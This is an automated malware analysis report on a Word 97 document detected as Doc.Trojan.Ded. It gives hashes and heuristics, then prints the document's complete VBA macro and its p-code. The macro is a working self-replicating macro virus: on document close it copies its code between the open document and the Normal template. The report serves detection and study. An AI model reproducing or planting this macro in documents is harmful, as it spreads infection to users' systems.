Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 39dc2c9036441d70…

MALICIOUS

Office (OLE)

33.0 KB Created: 2001-03-15 14:17:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 74033fa628dffd7664bb4d01f53c8e17 SHA-1: 5473c8a669f4dfa0ad2211652ffdb9667bf79e9b SHA-256: 39dc2c9036441d704182f7c883885b9c3601f70c464cb8fec2a644ae88c55298
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an Office document containing VBA macros, as indicated by the OLE_VBA_MACROS heuristic and the presence of the 'macros.bas' file. The VBA code appears to be attempting to modify the document's VBA project and potentially the Normal template, which is a common technique for malware persistence or payload delivery. The ClamAV detections further confirm its malicious nature.

Heuristics 2

  • ClamAV: Doc.Trojan.Ded-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ded-3
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6465 bytes
SHA-256: de816062493ea94baf1d47f4a64c89ee17f543a8709cc7978ad30027e809031e
Detection
ClamAV: Doc.Trojan.Ded-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error GoTo skam
Options.VirusProtection = True
SWLABS99
skam:
End Sub
Private Sub SWLABS99()
If Not ActiveDocument.VBProject.VBComponents(1).codemodule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then
    For i = 1 To NormalTemplate.VBProject.VBComponents(1).codemodule.CountOfLines
        d = NormalTemplate.VBProject.VBComponents(1).codemodule.Lines(i, 1)
        If Len(d) > 0 And Not d = " " And Not d = " _" And Not d = "" And Not Mid(d, 1, 1) = "'" Then
            While Mid(d, Len(d) - 1, 2) = " _"
                i = i + 1
                d = Left(d, Len(d) - 1) & NormalTemplate.VBProject.VBComponents(1).codemodule.Lines(i, 1)
            Wend
            ActiveDocument.VBProject.VBComponents(1).codemodule.InsertLines i * 2, d
        End If
    Next i
    ActiveDocument.SaveAs AddToRecentFiles:=False
Else
If Not NormalTemplate.VBProject.VBComponents(1).codemodule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then
    For i = 1 To ActiveDocument.VBProject.VBComponents(1).codemodule.CountOfLines
        d = ActiveDocument.VBProject.VBComponents(1).codemodule.Lines(i, 1)
        If Len(d) > 0 And Not d = " " And Not d = " _" And Not d = "" And Not Mid(d, 1, 1) = "'" Then
            While Mid(d, Len(d) - 1, 2) = " _"
                i = i + 1
                d = Left(d, Len(d) - 1) & ActiveDocument.VBProject.VBComponents(1).codemodule.Lines(i, 1)
            Wend
            NormalTemplate.VBProject.VBComponents(1).codemodule.InsertLines i * 2, d
        End If
    Next i
    NormalTemplate.Save
End If
End If
End Sub

' Processing file: /opt/analyzer/scan_staging/d51821eefc674d6988b85bc98d92c4fc.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2991 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError skam 
' Line #2:
' 	LitVarSpecial (True)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #3:
' 	ArgsCall SWLABS99 0x0000 
' Line #4:
' 	Label skam 
' Line #5:
' 	EndSub 
' Line #6:
' 	FuncDefn (Private Sub SWLABS99())
' Line #7:
' 	LitStr 0x000E "Document_Close"
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x03E8 
' 	LitDI2 0x03E8 
' 	LitVarSpecial (False)
' 	LitVarSpecial (False)
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	ArgsMemLd Find 0x0007 
' 	Not 
' 	IfBlock 
' Line #8:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	For 
' Line #9:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	St d 
' Line #10:
' 	Ld d 
' 	FnLen 
' 	LitDI2 0x0000 
' 	Gt 
' 	Ld d 
' 	LitStr 0x0001 " "
' 	Eq 
' 	Not 
' 	And 
' 	Ld d 
' 	LitStr 0x0002 " _"
' 	Eq 
' 	Not 
' 	And 
' 	Ld d 
' 	LitStr 0x0000 ""
' 	Eq 
' 	Not 
' 	And 
' 	Ld d 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	LitStr 0x0001 "'"
' 	Eq 
' 	Not 
' 	And 
' 	IfBlock 
' Line #11:
' 	Ld d 
' 	Ld d 
' 	FnLen 
' 	LitDI2 0x0001 
' 	Sub 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	LitStr 0x0002 " _"
' 	Eq 
' 	While 
' Line #12:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Add 
' 	St i 
' Line #13:
' 	Ld d 
' 	Ld d 
' 	FnLen 
' 	LitDI2 0x0001 
' 	Sub 
' 	ArgsLd LBound 0x0002 
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd codemodule 
' 	ArgsMemLd Lines 0x0002 
' 	Concat 
' 	St d 
' Line #14:
' 	Wend 
' Line #15:
' 	Ld i 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld d 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 

... (truncated)

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